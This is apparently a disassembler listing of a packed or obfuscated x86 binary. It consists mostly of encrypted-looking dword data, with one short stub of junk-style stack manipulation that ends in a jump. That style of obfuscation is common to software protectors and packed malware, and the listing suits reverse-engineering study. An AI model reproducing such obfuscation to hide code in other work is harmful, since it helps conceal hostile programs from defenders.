657DA519h, 49A14F8h dd 834891Eh, 2AF49591h dd 0C3864507h, 87844700h, 1E54E156h, 0A237F9A6h, 0F01A128Ah dd 885AEC3Eh, 6D321566h, 2EB9316Ah, 15F69642h, 88209E69h dd 0F5521566h, 223BFC0Bh, 874C1566h, 591FD70h, 255C0BCFh dd 22339069h, 43CA1566h, 8832EADCh, 0CFE33466h, 0E6B33172h dd 11321562h, 8832128Fh, 0E6D6C566h, 58983E06h, 4963A833h dd 4DB363BDh, 1E330680h, 5667F0E7h, 0C4C51236h, 92AAD8E7h dd 0A9B373CEh, 0AE955B86h, 386FFE4Fh, 92F194ADh, 4B411D2Bh dd 223214E3h, 94B9E066h, 8E1012BBh, 443DFC9Fh, 0DE881566h dd 0EFC7EBC1h, 0B0C065Dh, 0E31557D8h, 6FA79EC5h, 71343770h dd 8A4F5E6h, 0C7538781h, 3438DBh, 953D1460h, 77CDED45h dd 44321F8Fh, 9605AA66h, 0C4D718D8h, 0B3E92A61h, 75B01ABEh dd 0DA321566h, 0C1B97306h, 88321E8Fh, 3AC52666h, 9F99F691h dd 15588852h, 87E12C07h, 0BBDC09E0h, 2FBE1A99h, 0F8321566h dd 8832156Eh, 460791A8h, 2F79C323h, 1133AC37h, 461B1566h dd 443AFC3Fh, 3B3D1566h, 0C6390256h, 364EFD4h, 80B3316Ah dd 22321562h, 11339569h, 71CB1566h, 722FA833h, 0D7B33C61h dd 167A39BAh, 9701E0E7h, 0AD1B6C15h, 0A3CB3C3Bh, 2D37E7A7h dd 8822FC31h, 0D73E1566h, 6D458429h, 7E854CB3h, 3A899500h dd 12659E30h, 352B46D8h, 4DC9408h, 9222659h, 0EB5DC290h dd 3EF4941Bh, 98EDA62Ch, 711B4B91h, 4434FC39h, 21221566h dd 914F5B1Dh, 883B9169h, 0B1521566h, 22329969h, 43531566h dd 0B4A037h, 0A2B24C88h, 66DC95E1h, 0EF06FBE6h, 56DC95A0h dd 0CCEAE3E6h, 44524F96h, 0ABBD2CDDh, 0F0BAEA3Bh, 4B52BF07h dd 223204E1h, 113EFC66h, 0D70C1566h, 4F698F9Ah, 79AA090Dh dd 0AE3DAAD7h, 0D962749Dh, 603E9E3Eh, 2236D1E7h, 0BAC71566h dd 965ED06h, 0C1635DAEh, 2D534E5Bh, 113200E7h, 8822FC66h dd 0AB8E1566h, 6CA780E4h, 1EB7711h, 0B2BC1C3Dh, 10DB1B5Ch dd 0D7CDEAB4h, 1132138Fh, 0EE525266h, 16724F05h, 223215DCh dd 9BC01466h, 0AC269E64h, 4436D1E7h, 24DB1566h, 84321566h dd 592A21B4h, 4BDA2975h, 22325EE2h, 113CFC66h, 0CC9A1566h dd 0C2D47A2h, 0F5839681h, 0E8A2EBAEh, 6B1281DEh, 661F5D18h dd 0D55D8ED0h, 17DAD4B6h, 0A846EC43h, 0DB821073h, 25DBEB99h dd 36321566h, 0FB30B6C1h, 0DCDB475Eh, 2D321567h, 113212EEh dd 89BC1A66h, 0B8321566h, 223D3B0Eh, 352E9C66h, 883CFC93h dd 61781566h, 904248F4h, 98F577EBh, 0F17D7EEAh, 601E9430h dd 0BE333B1h, 0C68F403Dh, 891BC440h, 0CE3D488Dh, 22321568h dd 11321C8Fh, 7F285C66h, 78C3AA39h, 9A62EA74h, 11321567h dd 9031E567h, 0C71611EDh, 2D5211A2h, 113206E2h, 883FFD66h dd 54A51566h, 8E0D970Fh, 2B2DE193h, 0D6630A57h, 0C553A1D1h dd 2232118Ah, 353E9C66h, 883210DFh, 1DF91466h, 22321F8Fh dd 0FB14DB66h, 0A7DB80E8h, 0BCBD3425h, 0DCB4A635h, 8ED995A5h dd 94B9CDEEh, 40F69642h, 0AA3DBF9Fh, 11321567h, 24F1949Eh dd 0C571C66Ah, 4722BC8Dh, 90C93C3Dh, 0ED22BCA5h, 0E8D9943Dh dd 0CB71C66Ah, 1132156Eh, 6643369Ch, 2FDB5CF3h, 22321D8Fh dd 71170566h, 4604F672h, 0FB654427h, 1E37253Eh, 140249DFh dd 0D7CB245Ah, 4B6BDE4Fh, 22321CE6h, 90547566h, 3953BD89h dd 17627469h, 0A31611EDh, 113211A2h, 23CB4E66h, 44321A8Fh dd 0DBB8E166h, 43EF281Ah, 8092ED38h, 0CEA58701h, 771609EDh dd 0D4B3F0EFh, 88321562h, 0C336D0E5h, 2D6E314Ah, 11320DEEh dd 8821FC66h, 0A1531566h, 6650AD17h, 18D2DD0h, 0D2B3F67h dd 0ECB2E8A2h, 278A4563h, 90321566h, 5E3574A0h, 0C5F4144Ah dd 0F4357488h, 1DDB4D4Ah, 73321566h, 0EA9C34A6h, 6BEA13Bh dd 4034A942h, 0C56D27DFh, 1B01AD6Eh, 0EA1B1D2Bh, 921619EDh dd 4BCA11A2h, 44321A8Fh, 0AD835E66h, 8A577F62h, 0BF5AB673h dd 0C4AA7E01h, 220E610Eh, 353E9C66h, 0BECD739Fh, 60069400h dd 7A546629h, 538D7331h, 4FB3737Eh, 0C554730Ah, 44680881h dd 7730F2A7h, 0DC21E2E7h, 90DD9400h, 0DA0373AEh, 3E837539h dd 0E343AF00h, 4BF12907h, 223353E2h, 1135FC66h, 41EA1566h dd 0B73E141h, 0E90EE019h, 10039169h, 61CA1566h, 44321563h dd 0A8A622F9h, 1EF029FFh, 883378E2h, 443BFC66h, 51421566h dd 28A4BEC0h, 61A55248h, 4432156Ah, 13AAB74Ah, 0AF30918Bh dd 5657AA55h, 0C03DDF5Ah, 22321420h, 11339D69h, 0EEC71566h dd 4B17EA5Bh, 223399E2h, 0AB547566h, 658D60A3h, 252E0301h dd 0DD1C2800h, 114B9069h, 61521566h, 44321577h, 0C5F8FA0h dd 483C1115h, 92D58CDCh, 4ECCF743h, 43FCA27Ah, 1130AF34h dd 62B31566h, 214F72AAh, 0E0B3E767h, 744F72AAh, 0E86817ECh dd 0AAF99400h, 2222FDCEh, 0C4921566h, 23E95EB2h, 0D0C0C93h dd 46D7C7AAh, 0C7B905D1h, 0E0547438h, 0CD54247Bh, 0D281317Ah dd 4A54CD46h, 88339169h, 0B8CA1566h, 0A63DB55Ah, 11321433h dd 67B3759Ah, 3E216EC9h, 0DD534AD6h, 926B3152h, 86DB11A2h dd 0E5321566h, 61806351h, 3072885Ch, 0B6636A48h, 90C7D57h dd 0EBB1566h, 0A7AA842h, 0C08A2EA8h, 7509DB7Dh, 2D52488Eh dd 113200EEh, 8822FC66h, 0D7CB1566h, 0B3F38A6Ch, 0A1318277h dd 0E811CE65h, 0A7B30904h, 17EB864Eh, 10C4FC07h, 0B9CE1566h dd 56B41AAFh, 2D321566h, 113219E5h, 8835FC66h, 26BF1566h dd 49BE9CA1h, 0EE8D4229h, 0A1CDEA99h, 41DB4A9Fh, 0DB321566h dd 0A294DE5Ch, 8832E28Fh, 53B31A66h, 0CB321566h, 11321574h dd 0E1962B1Ch, 0B8752888h, 3C825DC4h, 92D1DAB1h, 0E060B7ABh dd 1D3804h, 0C8B3573Ch, 583C44E2h, 53EEAB30h, 0B61BEE46h dd 78E39C38h, 2DB759Fh, 0CF321566h, 389808D1h, 0ED805FA2h dd 8751D7F2h, 64B4A87h, 9BB2E54Ch, 0BFDB7473h, 0E8321566h dd 8832018Fh, 60B72C66h, 19F7A219h, 48B84136h, 6F47CDD8h dd 1E14EB80h, 6B8F4053h, 90183026h, 77CDEAA3h, 0FF9499h dd 0A3071D13h, 0D01EC18Bh, 7DC79407h, 0C576755Dh, 2E419E93h dd 4CDB9CFFh, 88321F8Fh, 0DABA0D66h, 0F34B2Bh, 0F884EFEAh dd 8832152Eh, 4432198Fh, 0D2CA9B66h, 6FD982EFh, 0FFD96BE5h dd 5F5A439Fh, 7C538C76h, 903AF3A7h, 9828EC88h, 0CFC39CFFh dd 0E6B33152h, 11321562h, 883EFC06h, 0EEDA1566h, 0DA26E2FFh dd 0B8638560h, 83DD5CCh, 44321565h, 43FCAA69h, 0F852B195h dd 88321560h, 0A62D3944h, 4452DBA6h, 0D330CBE7h, 0BD4322D9h dd 0BC53746Bh, 347F98EDh, 1ADB1344h, 4A321566h, 3CEF665Bh dd 34BD6681h, 0D8B72E41h, 88049069h, 0FD521566h, 5B2D528Eh dd 11379369h, 9541566h, 250AC58Eh, 347FA0EFh, 933D1344h dd 8832157Eh, 4432068Fh, 0AEB18166h, 2D5A37A3h, 0ADCA9C5Dh dd 8832FFFEh, 9E9F941Dh, 441619EDh, 4DB3F0EFh, 44321562h dd 0A536D0E5h, 1E6E314Ah, 88320BEDh, 8BB27566h, 2221FDBBh dd 0C5A91566h, 955FF607h, 0AEA0557Eh, 0A637454h, 2DAB740Ch dd 0DB534D9Ch, 1713A2DDh, 27D1D44Bh, 2372AA31h, 0CF7D6481h dd 3FCFF2E7h, 0A3751570h, 84A4F5A1h, 0D7C91433h, 0B869CDEFh dd 23B61AA5h, 0E8321566h, 0EE04EA00h, 0C71611EDh, 0A43D17A2h dd 11321571h, 88239669h, 48DB1566h, 81321566h, 0BBFFEEF4h dd 4419D7EAh, 78A2B752h, 45B61AA5h, 0E9321567h, 0D8F09D34h dd 0A7BAC1EEh, 0DACB4F3Eh dd 1136F9E7h, 8CBB1566h, 7043A542h, 7AF135E7h, 11349069h dd 0EE521566h, 25CEEFEDh, 52C9959Eh, 12FF9169h, 0B4CA1566h dd 6FB61A8Fh, 0DB321567h, 953DFE5Ah, 88321444h, 46B71A06h dd 0A8321566h, 0CEB373ACh, 0B45399DAh, 4FB61AA4h, 0CB321567h dd 1132156Dh, 192FA9D7h, 0D22F1EB3h, 1E16454Dh, 0E2B61AADh dd 0E8321566h, 4BFD9E06h, 4353E4D1h, 34CD2800h, 88D29169h dd 4B521566h, 4460EBD1h, 7069C4EDh, 87F8299Fh, 4432D8E2h dd 23BD1A66h, 0ED321566h, 0C3DF65Ah, 44321631h, 0C0F739Eh dd 6FB71A99h, 61321566h, 44321574h, 0CD482B8h, 7F3650h dd 0EC16D95Dh, 0C0EA6272h, 98607569h, 11321564h, 9A5BFFE7h dd 0B6331653h, 305BD7E7h, 13B81653h, 8835FC3Ch, 27D41566h dd 389F6ABCh, 406173B5h, 79B2E1D7h, 0D6C395F0h, 26BDAEEh dd 7169739Eh, 87E19E00h, 443217E3h, 4362A766h, 0D3B97306h dd 88321C8Fh, 1C353D66h, 909EF3A3h, 2D537A17h, 0B7B61AC6h dd 0AD321566h, 22321563h, 0A6421DE5h, 0BDC6ADAAh, 4727CA3h dd 3529754Bh, 0EEF29619h, 26288053h, 443FFC8Ch, 791F1566h dd 0A0794F12h, 0ED5811E9h, 0AD9100FDh, 22321533h, 1132108Fh dd 0E019DB66h, 0F1BB6CC9h, 2410032Bh, 3AF989Fh, 61343DDEh dd 44321569h, 4FA15F61h, 799049ABh, 0B50EFFDAh, 0BBF43D7Bh dd 4452ECB5h, 0C89FFFE7h, 0B08D4207h, 8553C72Fh, 0E5B31289h dd 7270719Fh, 57B55A29h, 0C5ED922Dh, 0DBC46CA1h, 4ECA9CFDh dd 0E0CBD69Fh, 443200F1h, 2D1611EFh, 11321EE5h, 8834FC66h dd 0F1831566h, 1BE3CB19h, 90226399h, 0FB2A3162h, 176A39E5h dd 0F33081DDh, 90E9E200h, 86592485h, 73F19428h, 0D54EEA32h dd 90E1E2B5h, 0FD87D4A5h, 1FEA3CC1h, 0FB79C9Fh, 0F8343754h dd 88321563h, 0F9F84E9Dh, 606EABBh, 15F6943Eh, 71321566h dd 588A4535h, 0AB321566h, 0CF334DA5h, 6588753Dh, 0F05E302Fh dd 9FBF74DEh, 17100377h, 8821FC9Eh, 30781566h, 75249CDh dd 73DD0996h, 0C4736687h, 5F34D05Eh, 0A352B8E8h, 401BC1B9h dd 0D7644371h, 50DB743Dh, 82321566h, 0EF5DCAAFh, 0FB7FB06Bh dd 9262B80Bh, 46659ECEh, 42C6953Fh, 2A5F3EDDh, 1FEA1426h dd 6165165h, 0B35F3E4Bh, 6199E026h, 4432156Eh, 1E77853Ch dd 0E2176080h, 9BA3A8EBh, 24521344h, 223FFC07h, 5A0E1566h dd 0EF128A85h, 0A068EA9Ch, 438D3DCAh, 10B51ACBh, 7D321566h dd 3F538763h, 6761602h, 0AA884742h, 94F6166h, 0DE3310ACh dd 20D8D42Ah, 7E24FFE7h, 97018EFh, 660BBA84h, 5AD89440h dd 38A9B3C9h, 3D4FB6h, 4432156Ah, 2232128Fh, 9CEB066h dd 0F23A286Fh, 0C5D09C34h, 223211A4h, 15D89466h, 0F321566h dd 0CD6E3172h, 0CA523162h, 1132156Fh, 8FEA05A6h, 0F0E4D16Eh dd 7851A769h, 11321C8Eh, 90566D66h, 0C5F61C87h, 9B54EEC6h dd 7069CB1Bh, 883BFD06h, 70341566h, 34398DCAh, 914DF16Dh dd 0E86B17B3h, 4432188Fh, 2F761A66h, 0DE3E42E5h, 3BD52DA8h dd 0FB3D7282h, 895374B9h, 11219069h, 86DB1566h, 0D321566h dd 0DDD7FA93h, 0FE97A239h, 0DCAA9A73h, 318F9814h, 0DA34377Bh dd 9A5475CBh, 8838FCA8h, 95E81566h, 0F246AC1Bh, 0DDE2AFC0h dd 0EEE31007h, 31275Dh, 9D653D42h, 230973B7h, 716DED4Fh dd 4435FCCDh, 11E51566h, 0CA08FC60h, 0AC069EBEh, 41D29C36h dd 22321562h, 9636D5E5h, 0E86E3162h, 44321C8Fh, 34DD8566h dd 0FA61DA21h, 6153AFCCh, 44321577h, 0DE509511h, 8A508CE9h dd 378185FEh, 76DA9A83h, 32DBD601h, 0C0321566h, 71AF28DAh dd 56F1DE0Bh, 7CDEB48Ah, 7921AC74h, 88320A2Ch, 4B1621EFh dd 22321AE4h, 1138FC66h, 4A681566h, 4CEC919Fh, 4AF3F123h dd 0A60688EBh, 0A3D134Eh, 44321567h, 0CBE1EA9Eh, 11321563h dd 0CB20ED76h, 0B8C5FC3Ch, 0A03DEA99h, 11321574h, 8832188Fh dd 71BC5F66h, 0AB5B8C32h, 6FA34248h, 0CEDF4090h, 0A86CD24Eh dd 458AFD4Ah, 0D5F251A2h, 6CEDAFC0h, 0A8ED96A4h, 458A152Ah dd 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah, 162C5E89h dd 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah dd 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah, 54A851D6h dd 0BA8660D5h, 0CE2559D7h, 43A377C5h, 9232DCF1h, 0BA8C3C49h dd 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h, 7DCAAE38h dd 0DF07462Ch, 52813264h, 3C6D5h, 5492B85Eh, 3075152Ah dd 5CDDAEAEh, 26818FA7h, 0D9FB578Bh, 6CE9D3B0h, 0DD7BAEA4h dd 5863E96Fh, 0ABA851A2h, 3075195Fh, 4332DCAAh, 168C3C49h dd 376ECB2Fh, 96751303h, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h dd 4582D7E3h, 3044BAh, 2AE900h, 4C70000h, 24h, 0E800h dd 815D0000h, 296896EDh, 24448B06h, 15858904h, 0B8062208h dd 0 dd 50B18D8Dh, 0E1FF0622h, 6754B8h, 6E800h, 5B260000h, 0D1F9E977h dd 59DA8B66h, 10E952h, 2B40000h, 0EB4A0F0Eh, 990A3D43h dd 9450FB97h, 815B69EDh, 5B46C1h, 0BED38B00h, 16A7h, 0D1E88166h dd 0F31FFC0h, 680h, 68E88100h, 5F33114Fh, 8E952h, 0A16E0000h dd 91F6961Eh, 815A9DF8h, 722FECEFh, 0D0BF0F6Bh, 0A0DDF781h dd 0BA66544Ah, 0F781F189h, 5DCDBB0Bh, 4CD7B866h, 4850F57h dd 66000000h, 8F95A1BAh, 10E901h, 0E0230000h, 0FE8D1635h dd 37B9FE83h, 0E2AD377Eh, 0E98145F6h, 61E161FDh, 0B90EE081h dd 0C1812268h, 61E161F9h, 0F4EF08Ah, 0FFFF8885h, 0D38B66FFh dd 97E9h, 30B0000h, 231B138Bh, 8300332Bh, 0A4F305E9h, 5867CB8Bh dd 0B13256E7h, 0E4CB97Dh, 6293EBBCh, 0BC704F7h, 58DEDD23h dd 0B1325645h, 4C49BE35h, 24170928h, 48353934h, 17A916A2h dd 0B1DA58F9h, 0EB32565Dh, 0E983BC2Fh, 0B0A4F305h, 0F29D11F1h dd 2375FD7Ah, 0D77D17FBh, 0D525FB53h, 0ADFDF53Fh, 915C9489h dd 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah, 95987C27h dd 0A073D411h, 831C87FFh, 0A4F305E9h, 0BD8DDB8Bh, 629A5BFh dd 2D6A8D8Dh, 44B8062Ah, 2B321566h, 2E9C1CFh, 0C8D00731h dd 4904C783h, 800FF675h, 1, 8E9FCh, 0A98D0000h, 63366E1Eh dd 6F686A6Ah, 89000034h, 0E9582404h, 0Eh, 187F1FDFh, 0A6513732h dd 0E1D25029h, 0BD8320C3h, 62208DDh, 83097500h, 220A21BDh dd 19740006h, 0C08B5350h, 411B8h, 59858900h, 8D06220Eh dd 24C0309Dh, 5BD3FF06h, 21BD8358h, 6220Ah, 53501774h dd 411B8h, 59858900h, 8D06220Eh, 24BCD19Dh, 5BD3FF06h dd 5E958h, 6A2B0000h, 0F9AA8282h, 89C78957h, 243C8BF8h dd 4C481h, 6E90000h, 0B8000000h, 8D51ECA2h, 7E8F87Fh, 63000000h dd 6218CF86h, 666074E4h, 615E22BAh, 4860F5Ah, 66000000h dd 8106D7BEh, 73CAC2h, 8BC03300h, 0DE81020Ch, 15BC55C2h dd 2C5BC181h, 7E908C3h, 8A000000h, 0E6BC8467h, 0C181F6F5h dd 4460117Bh, 0EE9h, 3707400h, 7FF4951Bh, 0F141CC7h, 81CD9470h dd 9C6CA6C1h, 850F5176h, 17h, 12E9h, 62973A00h, 238C3B9h dd 3F00736Ah, 20D5A45Ah, 5FC7ABBDh, 0E9020C89h, 11h, 4BCB5538h dd 489C3A60h, 13F98B7Ah, 0DD7DCDF4h, 83FE8B12h, 484801E8h dd 0CE948h, 26330000h, 68A5A625h, 32B04C59h, 0F881B99Fh dd 0FFFF8CF4h, 0FF69850Fh, 6E9FFFFh, 0D9000000h, 416E03D5h dd 22E901h, 43A00000h, 54A6h, 7 dup(0) dd 46FE9h, 327D6800h, 74E9062Ah, 68FFF851h, 62A3313h, 0F8516AE9h dd 343B68FFh, 60E9062Ah, 0F4FFF851h, 6A57BE89h, 0C6CB2221h dd 3E638AB9h, 0A899F04Bh, 380E59E6h, 0B08FFF38h, 25226859h dd 88B3C5CAh, 0F34C3061h, 94085198h, 41100A44h, 773DE5A9h dd 0C6EB3807h, 15628DB6h, 39F37218h, 473A3B11h, 2A76A904h dd 8BEC3320h, 192669A6h, 0D16BA9F4h, 4918378Eh, 0C62B4C6Fh dd 183F0256h, 98C4F741h, 3F6FBF4Dh, 0E8914118h, 0D8047990h dd 101D4BD1h, 8382DE69h, 2B0h, 88FCD38Bh, 0E7394DBh, 3B277329h dd 0EDCA473Ah, 3073A09Bh, 0FE19A3F1h, 2F491828h, 1A4BF882h dd 5BE896DBh, 0CAA8EB0Ah, 0FEE64F58h, 8FD48F95h, 0B1C9B26Ah dd 15EE4A9Fh, 0C29BFD45h, 0CF7AA6CAh, 755ABFECh, 93E893A7h dd 0E937864Eh, 4AAFF4EFh, 0B1E571D2h, 2B515E40h, 61A0C310h dd 5D622308h, 0F2521591h, 3347D532h, 0E648F6C6h, 1C6089D7h dd 0B5C7C823h, 5AFDFC8Ah, 5F68EC0Bh, 2A6C0h, 0B8830A00h dd 2C1B6051h, 94B3DCC5h, 0FA45347Dh, 63E0AE93h, 0F53E3E08h dd 6E53BA89h, 0DBC42F1Ch, 367B92ADh, 6B92FD46h, 94A9E0Eh dd 0EBAF4110h, 0A27A5F3Bh, 473A3B96h, 0EAEC307Bh, 6CDBA4F9h dd 5CBDFC3Fh, 0F54E3A77h, 2273CCBCh, 0BD0BDD03h, 8C49202Ah dd 1D4EF98Fh, 249782DEh, 7BC8B6C3h, 0E05F2F10h, 0BECAA287h dd 0A341100Ah, 0FD386DD6h, 122B6944h, 595DCF42h, 830B0897h dd 5784BFCAh, 6580D514h, 0B8E4632Ch, 46300B71h, 0F5AE279Dh dd 10906FB8h, 64000002h, 0DAC72E19h, 367B92B1h, 0AE93FA49h dd 180960DBh, 48BEC976h, 201F6FA8h, 95B2D8C9h, 0F843357Ah dd 63DCA091h, 0E4B8C108h, 411008D4h, 588D9539h, 690364ABh dd 49202A03h, 0FF0BE1F6h, 1241100Ah, 790B589Bh, 41100A55h dd 87CA2EABh, 4BC9A6CAh, 143EFh, 5773700h, 0AED0DD3Ah dd 0AF9B4C91h, 8984316Dh, 92ABE928h, 0FD142F5Dh, 7E9BE89Bh dd 185141AEh, 36675649h, 18205666h, 0C721A841h, 7404845h dd 0BD007DD9h, 39D54BD1h, 7D000000h, 364AB58h, 18416669h dd 0ED2A0F49h, 3570A5A2h, 18315763h, 0ADF3BA41h, 0EF143974h dd 31C6128Ah, 802B4118h, 317A8A5Ch, 0DD844118h, 0D1F9749Bh dd 99DC4BD1h, 4A000000h, 0E93A0577h, 6C8DBAC4h, 3B459507h dd 5A8473Ah, 1B618EDFh, 0CEBEF320h, 0A88A1A75h, 0B1473A37h dd 0E7A2F3D0h, 0B2EEBAA2h, 0D33A0577h, 0ACCD12C1h, 0F22E196Fh dd 0EBF30D9Fh, 614E491Eh, 0BEFD2E1Dh, 711D1A7Fh, 1F28568h dd 0D31CC110h, 335A9DA6h, 37C3800Eh, 0F5B28D22h, 0E813EE3Fh dd 4C000000h, 0A2EF0641h, 1E036AD9h, 76BBD271h, 0E0D13803h dd 6046A19Eh, 0F8473780h, 6DDAA091h, 0D06B1D02h, 3B0488B9h dd 0DC5029D0h, 41100F8Ch, 7775AD61h, 0E0D13807h, 0D248A39Ch dd 0E93A0577h, 648FB8C4h, 0F7105F14h, 1960AD92h, 3B2A7E2Eh dd 0ECCF473Ah, 0B7516B0h, 0D3DA4918h, 361579B6h, 6A394DDFh dd 58244118h, 0F39B84EFh, 78380754h, 0EA000000h, 112A525Fh dd 95DA89C3h, 2AA6B874h, 0F0BB4920h, 45FE8EA3h, 0AC97E52Ah dd 0D472AD7Fh, 0D910F2EFh, 0F6F7859Fh, 542DF66Dh, 0A6C1000Fh dd 0FB281379h, 2B78C3B6h, 0B9C57806h, 0DB1A598Ah, 2916658Ah dd 2147AAE4h, 3ABE230Dh, 5EA992FAh, 0F7102B51h, 0A2CE1A92h dd 86231F8Ch, 0DD184DF6h, 0D827469Ah, 13h, 8EDA52B7h, 631F8CA2h dd 0D4173446h, 0E52ED9Bh, 7773CB76h, 0C3E83D06h, 105D8EB9h dd 618EDF68h, 0B4F92A19h, 3287DCAh, 529FCC7Bh, 0A2CF1C27h dd 0F03D6EDDh, 696FBC8Bh, 81595451h, 4C1h, 4E98300h, 5C240C87h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 3493h mov [esp], esi push 62A3183h mov ecx, [esp] add esp, 4 push 18D9h mov [esp], esp add dword ptr [esp], 4 pop esi push 4D9Ch mov [esp], edx mov edx, 8 add edx, esi mov [edx], ecx pop edx push dword ptr [esp] pop esi add esp, 4 mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_502B27 ; --------------------------------------------------------------------------- dd 0FD4B66F8h, 34F6D38Dh, 5B9C1B5Ch, 2A3548B8h, 0FFC50306h dd 2500A7E0h, 0AC529C42h, 77AA2742h, 48DF914Ah, 72D39F43h dd 0DC78CE74h, 65AB4810h, 315D4C6Fh, 4C6CF150h, 25BFD302h dd 3DA87A20h, 8983E45Fh, 0B5A9CC66h, 0C5021F73h, 0CF744238h dd 0B241FE7Dh, 7F196A09h, 0E1506718h, 4BAAA444h, 19258020h dd 26B0092Ah, 8F01B572h, 0D0FFC75Eh, 0ABBC926Ah, 0CA983757h dd 43CFB125h, 676FC309h, 0EDE952h, 66600000h, 4A8D88Ch dd 0DF840Fh, 0B58B0000h, 6220B09h, 0F00FE83h, 2285h, 985C600h dd 45062233h, 72696968h, 0A9B5FF8Eh, 8D062233h, 257DBE85h dd 89D0FF06h, 2201A985h, 80F08B06h, 850FE93Eh, 31h, 8C7B858Dh dd 0D0FF0627h, 32C1BD8Bh, 0C7810622h, 1184h, 0B09B58Bh dd 0F7870622h, 8B9h, 8BA4F300h, 220B09B5h, 6B858D06h, 0FF06263Ch dd 89B58BD0h, 83062231h, 850F00FEh, 22h, 330985C6h, 68540622h dd 0FF4EBEF4h, 33A9B5FFh, 858D0622h, 6257DBEh, 8589D0FFh dd 6223189h, 3E80F08Bh, 3A850FE9h, 8B000000h, 223189B5h dd 7B858D06h, 0FF06278Ch, 0C1BD8BD0h, 81062232h, 1184C7h dd 8C78300h, 3189B58Bh, 0F7870622h, 8B9h, 8BA4F300h, 223189B5h dd 6B858D06h, 0FF06263Ch, 8DC361D0h, 2A364E85h, 0F9858906h dd 0E8062205h, 0Dh, 6F82B9C3h, 3DD11A7Bh, 0B78D9900h, 0DE9C3h dd 93A90000h, 0AE1D93FAh, 30ABFD2h, 5E95F9B5h, 0F0816650h dd 815F0F59h, 653BC6h, 0D54AB900h, 1CBA4267h, 810F9C04h dd 9C1D3CF2h, 1E8BF90Fh, 0FE9h, 799C0100h, 0C0999D9Dh dd 8BF7161Fh, 91FE2BC4h, 0AF37C381h, 0E78167D1h, 599AC675h dd 0B4CAF381h, 0B70F0503h, 0F1C381CEh, 0F2FC0A6h, 1E89C6BFh dd 9B28B866h, 0BCA0EE81h, 8D0F7826h, 6, 7751C081h, 0C68164C3h dd 7826BC9Ch, 1D8D0Fh, 820F0000h, 17h, 12E9h, 0ECDA1E00h dd 0F9A27FA9h, 8B3862A4h, 0D43EAA47h, 834AAB5Ah, 850F01EAh dd 0FFFFFF82h, 8DC6BF0Fh, 2A38B68Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0C1B9D08Dh dd 518523EBh, 89062231h, 2233F18Dh, 85C7FC06h, 6222D31h dd 5998h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0A1C35343h, 0D892AEDDh, 0C2816699h, 85C731A0h dd 62230E5h, 0 dd 89B5FFFCh, 6A062206h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 811EC356h, 302BAECAh dd 6595FF72h, 60062220h, 0AB96B966h, 6A6188B5h, 7595FF00h dd 8B062230h, 5C19EBC0h, 9B47220Ah, 8C85110Fh, 0EA0CEA7h dd 2B5612FDh, 0D0B60C90h, 2EA02E48h, 8E9h, 93B54700h, 1Dh dd 560E900h, 0EC910000h, 84F73853h, 1C63ACC7h, 0AEDBC42Fh dd 49357A95h, 0D59793FAh, 3A55F29Ch, 0AFC685F5h, 0C22D1662h dd 7D94AFDDh, 0E337E5F2h, 16411003h, 577A040h, 0BAC4E93Ah dd 4F3D628Dh, 77B695FAh, 0B8830926h, 112A525Fh, 675BAC3h dd 0B2C71439h, 63174489h, 28C1B7E4h, 43AE5AD0h, 0C27D0F25h dd 242368A5h, 6768B4F7h, 9AF54E3Ah, 345B58BDh, 3B354517h dd 0F3D8473Ah, 3A3B1139h, 76A90447h, 0CE790F2Ah, 1D2A509Dh dd 5B9D44C8h, 7D94AFD9h, 0AEFF4834h, 201F6CA9h, 3B192AFCh dd 40B1473Ah, 0DB6CE128h, 888551F3h, 0D9164700h, 264596B5h dd 8994B9E7h, 82000000h, 44340577h, 488BAAFBh, 3B23491Bh dd 6091473Ah, 0DB8CC108h, 12951F3h, 0F1000000h, 96A27A5Fh dd 7B473A3Bh, 0B6C5EC30h, 55237089h, 267AB9EAh, 0A2A1EA07h dd 74071471h, 396786D7h, 59BE89F0h, 3B90B874h, 8C85473Ah dd 3B65F1Ah, 326EA1E8h, 98B5C6EBh, 0C71457F0h, 3065DEAAh dd 4665844Fh, 3D53ABD1h, 8A7EB434h, 0DE03096Fh, 3A8F3A4Eh dd 0EF5C2F47h, 6E3E5B52h, 473A8F5Ah, 99A0FCBFh, 0F53A55F2h dd 0F955BC87h, 0E29E65Fh, 5481E8D1h, 0B1517933h, 0E9C4473Ah dd 43008EABh, 91AEDD12h, 0CC2C254Ch, 0FE493340h, 17528EADh dd 80B1D867h, 0F51243FCh, 0B1CC1C90h, 8A21473Ah, 0E7642B56h dd 99DF9AB6h, 0F3500B76h, 9BCE51h, 5F540000h, 0CC112A52h dd 483673A1h, 0FA85AAFBh, 8168184Dh, 82C1CD67h, 0EB58266Bh dd 810475BAh, 0DF449EEEh, 662859BBh, 3875A6D9h, 76BBE857h dd 24E83D06h, 59F73BBDh, 0F7543B78h, 450289A6h, 4E92D510h dd 1F4285E3h, 0BA51F394h, 80h, 1E077760h, 3A3B7A8Eh, 0DD1C9F47h dd 2A156388h, 0C2C7B4F9h, 2BB07D80h, 4192D586h, 0B7E4632Ch dd 9B38B3CEh, 0BFEFBC0Bh, 0A2F036B2h, 7685DEA7h, 0C51723F9h dd 0B3FA473Ah, 0E5F8CCAh, 131157D2h, 0CABBDC6Bh, 0A7DFEAE7h dd 0BAA5FB3Bh, 6E65FE0h, 3D4DF6D0h, 7B002977h, 897A9FCCh dd 16638571h, 9D66502Dh, 0A1F294C8h, 9473A1Ch, 144980F8h dd 0A151F3B5h, 8, 89B2C7D4h, 2BFB1944h, 43350877h, 4794B9F8h dd 0EF760435h, 3A3BED3Dh, 6AAD0047h, 6ABBFA39h, 53B93FA2h dd 3B6ABE6Eh, 2C8F473Ah, 79C6C9F0h, 0E550E6Eh, 48A033E9h dd 98954918h, 100957F0h, 